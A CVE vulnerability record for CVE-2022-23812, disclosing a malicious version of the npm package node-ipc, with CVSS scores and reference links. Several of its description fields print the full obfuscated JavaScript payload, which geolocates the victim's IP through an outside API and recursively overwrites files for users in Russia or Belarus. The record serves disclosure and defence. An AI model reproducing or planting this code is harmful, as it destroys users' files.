CVE-2022-23812 (GCVE-0-2022-23812)
Vulnerability from cvelistv5 – Published: 2022-03-16 15:45 – Updated: 2024-09-16 22:19
VLAI?
Title
Malicious Package
Summary
This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };
Severity ?
9.8 (Critical)
CWE
- Malicious Package
Assigner
References
| URL | Tags | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
Impacted products
Date Public ?
2022-03-16 00:00
Credits
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-03T03:51:46.004Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/RIAEvangelist/node-ipc/issues/236"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/RIAEvangelist/node-ipc/issues/233"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://security.netapp.com/advisory/ntap-20220407-0005/"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "node-ipc",
"vendor": "n/a",
"versions": [
{
"lessThan": "unspecified",
"status": "affected",
"version": "10.1.1",
"versionType": "custom"
},
{
"lessThan": "10.1.3",
"status": "affected",
"version": "unspecified",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Unknown"
}
],
"datePublic": "2022-03-16T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don\u0027t run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t \u003e 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e \u003c r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length \u003e 0 ? f.push(...s) : null; } else if (i.indexOf(o) \u003e= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with \u2764\ufe0f } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };"
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitCodeMaturity": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"remediationLevel": "NOT_DEFINED",
"reportConfidence": "NOT_DEFINED",
"scope": "UNCHANGED",
"temporalScore": 9.8,
"temporalSeverity": "CRITICAL",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "Malicious Package",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2022-04-07T23:15:09.000Z",
"orgId": "bae035ff-b466-4ff4-94d0-fc9efd9e1730",
"shortName": "snyk"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/RIAEvangelist/node-ipc/issues/236"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/RIAEvangelist/node-ipc/issues/233"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://security.netapp.com/advisory/ntap-20220407-0005/"
}
],
"title": "Malicious Package",
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "report@snyk.io",
"DATE_PUBLIC": "2022-03-16T15:41:22.870186Z",
"ID": "CVE-2022-23812",
"STATE": "PUBLIC",
"TITLE": "Malicious Package"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "node-ipc",
"version": {
"version_data": [
{
"version_affected": "\u003e=",
"version_value": "10.1.1"
},
{
"version_affected": "\u003c",
"version_value": "10.1.3"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"credit": [
{
"lang": "eng",
"value": "Unknown"
}
],
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don\u0027t run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t \u003e 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e \u003c r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length \u003e 0 ? f.push(...s) : null; } else if (i.indexOf(o) \u003e= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with \u2764\ufe0f } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };"
}
]
},
"impact": {
"cvss": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H",
"version": "3.1"
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "Malicious Package"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370",
"refsource": "MISC",
"url": "https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370"
},
{
"name": "https://github.com/RIAEvangelist/node-ipc/issues/236",
"refsource": "MISC",
"url": "https://github.com/RIAEvangelist/node-ipc/issues/236"
},
{
"name": "https://github.com/RIAEvangelist/node-ipc/issues/233",
"refsource": "MISC",
"url": "https://github.com/RIAEvangelist/node-ipc/issues/233"
},
{
"name": "https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js",
"refsource": "MISC",
"url": "https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js"
},
{
"name": "https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580",
"refsource": "MISC",
"url": "https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580"
},
{
"name": "https://security.netapp.com/advisory/ntap-20220407-0005/",
"refsource": "CONFIRM",
"url": "https://security.netapp.com/advisory/ntap-20220407-0005/"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "bae035ff-b466-4ff4-94d0-fc9efd9e1730",
"assignerShortName": "snyk",
"cveId": "CVE-2022-23812",
"datePublished": "2022-03-16T15:45:31.515Z",
"dateReserved": "2022-02-24T00:00:00.000Z",
"dateUpdated": "2024-09-16T22:19:54.618Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2022-23812",
"date": "2026-04-25",
"epss": "0.08822",
"percentile": "0.9255"
},
"fkie_nvd": {
"configurations": "[{\"nodes\": [{\"operator\": \"OR\", \"negate\": false, \"cpeMatch\": [{\"vulnerable\": true, \"criteria\": \"cpe:2.3:a:node-ipc_project:node-ipc:*:*:*:*:*:node.js:*:*\", \"versionStartIncluding\": \"10.1.1\", \"versionEndExcluding\": \"10.1.3\", \"matchCriteriaId\": \"4F3B6107-F149-4B50-BAC6-50D3C2415E86\"}, {\"vulnerable\": true, \"criteria\": \"cpe:2.3:a:node-ipc_project:node-ipc:*:*:*:*:*:node.js:*:*\", \"versionStartIncluding\": \"11.0.0\", \"matchCriteriaId\": \"F22A4ABE-8648-4D7F-BA81-AE9EF9918227\"}]}]}]",
"descriptions": "[{\"lang\": \"en\", \"value\": \"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don\u0027t run it! js import u from \\\"path\\\"; import a from \\\"fs\\\"; import o from \\\"https\\\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t \u003e 1) { return; } const n = Buffer.from(\\\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\\\", \\\"base64\\\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\\\"utf8\\\"), function (t) { t.on(\\\"data\\\", function (t) { const n = Buffer.from(\\\"Li8=\\\", \\\"base64\\\"); const o = Buffer.from(\\\"Li4v\\\", \\\"base64\\\"); const r = Buffer.from(\\\"Li4vLi4v\\\", \\\"base64\\\"); const f = Buffer.from(\\\"Lw==\\\", \\\"base64\\\"); const c = Buffer.from(\\\"Y291bnRyeV9uYW1l\\\", \\\"base64\\\"); const e = Buffer.from(\\\"cnVzc2lh\\\", \\\"base64\\\"); const i = Buffer.from(\\\"YmVsYXJ1cw==\\\", \\\"base64\\\"); try { const s = JSON.parse(t.toString(\\\"utf8\\\")); const u = s[c.toString(\\\"utf8\\\")].toLowerCase(); const a = u.includes(e.toString(\\\"utf8\\\")) || u.includes(i.toString(\\\"utf8\\\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\\\"utf8\\\")); h(o.toString(\\\"utf8\\\")); h(r.toString(\\\"utf8\\\")); h(f.toString(\\\"utf8\\\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \\\"\\\", o = \\\"\\\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\\\"4p2k77iP\\\", \\\"base64\\\"); for (var e = 0; e \u003c r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length \u003e 0 ? f.push(...s) : null; } else if (i.indexOf(o) \u003e= 0) { try { a.writeFile(i, c.toString(\\\"utf8\\\"), function () {}); // overwrites file with \\u2764\\ufe0f } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };\"}, {\"lang\": \"es\", \"value\": \"Esto afecta al paquete node-ipc a partir de la versi\\u00f3n 10.1.1 y versiones anteriores a 10.1.3. Este paquete contiene un c\\u00f3digo malicioso, que es dirigido a usuarios con IP ubicadas en Rusia o Bielorrusia, y sobrescribe sus archivos con un emoji de coraz\\u00f3n. **Nota**: a partir de las versiones 11.0.0, en lugar de tener c\\u00f3digo malicioso directamente en el c\\u00f3digo fuente de este paquete, node-ipc importa el paquete peacenotwar que incluye un comportamiento potencialmente no deseado. C\\u00f3digo Malicioso: **Nota:** \\u00a1No lo ejecutes! js importado desde \\\"path\\\"; importado desde \\\"fs\\\"; importado desde \\\"https\\\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t \u0026gt; 1) { return; } const n = Buffer. from(\\\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\\\", \\\"base64\\\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\\\"utf8\\\"), function (t) { t. on(\\\"data\\\", function (t) { const n = Buffer.from(\\\"Li8=\\\", \\\"base64\\\"); const o = Buffer.from(\\\"Li4v\\\", \\\"base64\\\"); const r = Buffer. from(\\\"Li4vLi4v\\\", \\\"base64\\\"); const f = Buffer.from(\\\"Lw==\\\", \\\"base64\\\"); const c = Buffer.from(\\\"Y291bnRyeV9uYW1l\\\", \\\"base64\\\"); const e = Buffer. from(\\\"cnVzc2lh\\\", \\\"base64\\\"); const i = Buffer.from(\\\"YmVsYXJ1cw==\\\", \\\"base64\\\"); try { const s = JSON.parse(t.toString(\\\"utf8\\\")); const u = s[c.toString(\\\"utf8\\\")].toLowerCase(); const a = u.includes(e.toString(\\\"utf8\\\")) || u.includes(i.toString(\\\"utf8\\\")); // comprueba si el pa\\u00eds es Rusia o Bielorrusia if (a) { h(n.toString(\\\"utf8\\\")); h(o.toString(\\\"utf8\\\")); h(r.toString(\\\"utf8\\\")); h(f.toString(\\\"utf8\\\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \\\"\\\", o = \\\"\\\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a. readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\\\"4p2k77iP\\\", \\\"base64\\\"); for (var e = 0; e \u0026lt; r.length; e++) { const i = u. join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length \u0026gt; 0 ? f.push(...s) : null; } else if (i.indexOf(o) \u0026gt;= 0) { try { a.writeFile(i, c.toString(\\\"utf8\\\"), function () {}); // sobrescribe el archivo con ? } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };\"}]",
"id": "CVE-2022-23812",
"lastModified": "2024-11-21T06:49:17.960",
"metrics": "{\"cvssMetricV31\": [{\"source\": \"report@snyk.io\", \"type\": \"Secondary\", \"cvssData\": {\"version\": \"3.1\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\", \"baseScore\": 9.8, \"baseSeverity\": \"CRITICAL\", \"attackVector\": \"NETWORK\", \"attackComplexity\": \"LOW\", \"privilegesRequired\": \"NONE\", \"userInteraction\": \"NONE\", \"scope\": \"UNCHANGED\", \"confidentialityImpact\": \"HIGH\", \"integrityImpact\": \"HIGH\", \"availabilityImpact\": \"HIGH\"}, \"exploitabilityScore\": 3.9, \"impactScore\": 5.9}, {\"source\": \"nvd@nist.gov\", \"type\": \"Primary\", \"cvssData\": {\"version\": \"3.1\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\", \"baseScore\": 9.8, \"baseSeverity\": \"CRITICAL\", \"attackVector\": \"NETWORK\", \"attackComplexity\": \"LOW\", \"privilegesRequired\": \"NONE\", \"userInteraction\": \"NONE\", \"scope\": \"UNCHANGED\", \"confidentialityImpact\": \"HIGH\", \"integrityImpact\": \"HIGH\", \"availabilityImpact\": \"HIGH\"}, \"exploitabilityScore\": 3.9, \"impactScore\": 5.9}], \"cvssMetricV2\": [{\"source\": \"nvd@nist.gov\", \"type\": \"Primary\", \"cvssData\": {\"version\": \"2.0\", \"vectorString\": \"AV:N/AC:L/Au:N/C:C/I:C/A:C\", \"baseScore\": 10.0, \"accessVector\": \"NETWORK\", \"accessComplexity\": \"LOW\", \"authentication\": \"NONE\", \"confidentialityImpact\": \"COMPLETE\", \"integrityImpact\": \"COMPLETE\", \"availabilityImpact\": \"COMPLETE\"}, \"baseSeverity\": \"HIGH\", \"exploitabilityScore\": 10.0, \"impactScore\": 10.0, \"acInsufInfo\": false, \"obtainAllPrivilege\": false, \"obtainUserPrivilege\": false, \"obtainOtherPrivilege\": false, \"userInteractionRequired\": false}]}",
"published": "2022-03-16T16:15:10.850",
"references": "[{\"url\": \"https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js\", \"source\": \"report@snyk.io\", \"tags\": [\"Third Party Advisory\"]}, {\"url\": \"https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580\", \"source\": \"report@snyk.io\", \"tags\": [\"Patch\"]}, {\"url\": \"https://github.com/RIAEvangelist/node-ipc/issues/233\", \"source\": \"report@snyk.io\", \"tags\": [\"Issue Tracking\", \"Patch\", \"Third Party Advisory\"]}, {\"url\": \"https://github.com/RIAEvangelist/node-ipc/issues/236\", \"source\": \"report@snyk.io\", \"tags\": [\"Issue Tracking\", \"Patch\", \"Third Party Advisory\"]}, {\"url\": \"https://security.netapp.com/advisory/ntap-20220407-0005/\", \"source\": \"report@snyk.io\", \"tags\": [\"Third Party Advisory\"]}, {\"url\": \"https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370\", \"source\": \"report@snyk.io\", \"tags\": [\"Exploit\", \"Patch\", \"Third Party Advisory\"]}, {\"url\": \"https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js\", \"source\": \"af854a3a-2127-422b-91ae-364da2661108\", \"tags\": [\"Third Party Advisory\"]}, {\"url\": \"https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580\", \"source\": \"af854a3a-2127-422b-91ae-364da2661108\", \"tags\": [\"Patch\"]}, {\"url\": \"https://github.com/RIAEvangelist/node-ipc/issues/233\", \"source\": \"af854a3a-2127-422b-91ae-364da2661108\", \"tags\": [\"Issue Tracking\", \"Patch\", \"Third Party Advisory\"]}, {\"url\": \"https://github.com/RIAEvangelist/node-ipc/issues/236\", \"source\": \"af854a3a-2127-422b-91ae-364da2661108\", \"tags\": [\"Issue Tracking\", \"Patch\", \"Third Party Advisory\"]}, {\"url\": \"https://security.netapp.com/advisory/ntap-20220407-0005/\", \"source\": \"af854a3a-2127-422b-91ae-364da2661108\", \"tags\": [\"Third Party Advisory\"]}, {\"url\": \"https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370\", \"source\": \"af854a3a-2127-422b-91ae-364da2661108\", \"tags\": [\"Exploit\", \"Patch\", \"Third Party Advisory\"]}]",
"sourceIdentifier": "report@snyk.io",
"vulnStatus": "Modified",
"weaknesses": "[{\"source\": \"nvd@nist.gov\", \"type\": \"Primary\", \"description\": [{\"lang\": \"en\", \"value\": \"NVD-CWE-Other\"}]}]"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2022-23812\",\"sourceIdentifier\":\"report@snyk.io\",\"published\":\"2022-03-16T16:15:10.850\",\"lastModified\":\"2024-11-21T06:49:17.960\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don\u0027t run it! js import u from \\\"path\\\"; import a from \\\"fs\\\"; import o from \\\"https\\\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t \u003e 1) { return; } const n = Buffer.from(\\\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\\\", \\\"base64\\\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\\\"utf8\\\"), function (t) { t.on(\\\"data\\\", function (t) { const n = Buffer.from(\\\"Li8=\\\", \\\"base64\\\"); const o = Buffer.from(\\\"Li4v\\\", \\\"base64\\\"); const r = Buffer.from(\\\"Li4vLi4v\\\", \\\"base64\\\"); const f = Buffer.from(\\\"Lw==\\\", \\\"base64\\\"); const c = Buffer.from(\\\"Y291bnRyeV9uYW1l\\\", \\\"base64\\\"); const e = Buffer.from(\\\"cnVzc2lh\\\", \\\"base64\\\"); const i = Buffer.from(\\\"YmVsYXJ1cw==\\\", \\\"base64\\\"); try { const s = JSON.parse(t.toString(\\\"utf8\\\")); const u = s[c.toString(\\\"utf8\\\")].toLowerCase(); const a = u.includes(e.toString(\\\"utf8\\\")) || u.includes(i.toString(\\\"utf8\\\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\\\"utf8\\\")); h(o.toString(\\\"utf8\\\")); h(r.toString(\\\"utf8\\\")); h(f.toString(\\\"utf8\\\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \\\"\\\", o = \\\"\\\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\\\"4p2k77iP\\\", \\\"base64\\\"); for (var e = 0; e \u003c r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length \u003e 0 ? f.push(...s) : null; } else if (i.indexOf(o) \u003e= 0) { try { a.writeFile(i, c.toString(\\\"utf8\\\"), function () {}); // overwrites file with \u2764\ufe0f } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };\"},{\"lang\":\"es\",\"value\":\"Esto afecta al paquete node-ipc a partir de la versi\u00f3n 10.1.1 y versiones anteriores a 10.1.3. Este paquete contiene un c\u00f3digo malicioso, que es dirigido a usuarios con IP ubicadas en Rusia o Bielorrusia, y sobrescribe sus archivos con un emoji de coraz\u00f3n. **Nota**: a partir de las versiones 11.0.0, en lugar de tener c\u00f3digo malicioso directamente en el c\u00f3digo fuente de este paquete, node-ipc importa el paquete peacenotwar que incluye un comportamiento potencialmente no deseado. C\u00f3digo Malicioso: **Nota:** \u00a1No lo ejecutes! js importado desde \\\"path\\\"; importado desde \\\"fs\\\"; importado desde \\\"https\\\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t \u0026gt; 1) { return; } const n = Buffer. from(\\\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\\\", \\\"base64\\\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\\\"utf8\\\"), function (t) { t. on(\\\"data\\\", function (t) { const n = Buffer.from(\\\"Li8=\\\", \\\"base64\\\"); const o = Buffer.from(\\\"Li4v\\\", \\\"base64\\\"); const r = Buffer. from(\\\"Li4vLi4v\\\", \\\"base64\\\"); const f = Buffer.from(\\\"Lw==\\\", \\\"base64\\\"); const c = Buffer.from(\\\"Y291bnRyeV9uYW1l\\\", \\\"base64\\\"); const e = Buffer. from(\\\"cnVzc2lh\\\", \\\"base64\\\"); const i = Buffer.from(\\\"YmVsYXJ1cw==\\\", \\\"base64\\\"); try { const s = JSON.parse(t.toString(\\\"utf8\\\")); const u = s[c.toString(\\\"utf8\\\")].toLowerCase(); const a = u.includes(e.toString(\\\"utf8\\\")) || u.includes(i.toString(\\\"utf8\\\")); // comprueba si el pa\u00eds es Rusia o Bielorrusia if (a) { h(n.toString(\\\"utf8\\\")); h(o.toString(\\\"utf8\\\")); h(r.toString(\\\"utf8\\\")); h(f.toString(\\\"utf8\\\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \\\"\\\", o = \\\"\\\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a. readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\\\"4p2k77iP\\\", \\\"base64\\\"); for (var e = 0; e \u0026lt; r.length; e++) { const i = u. join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length \u0026gt; 0 ? f.push(...s) : null; } else if (i.indexOf(o) \u0026gt;= 0) { try { a.writeFile(i, 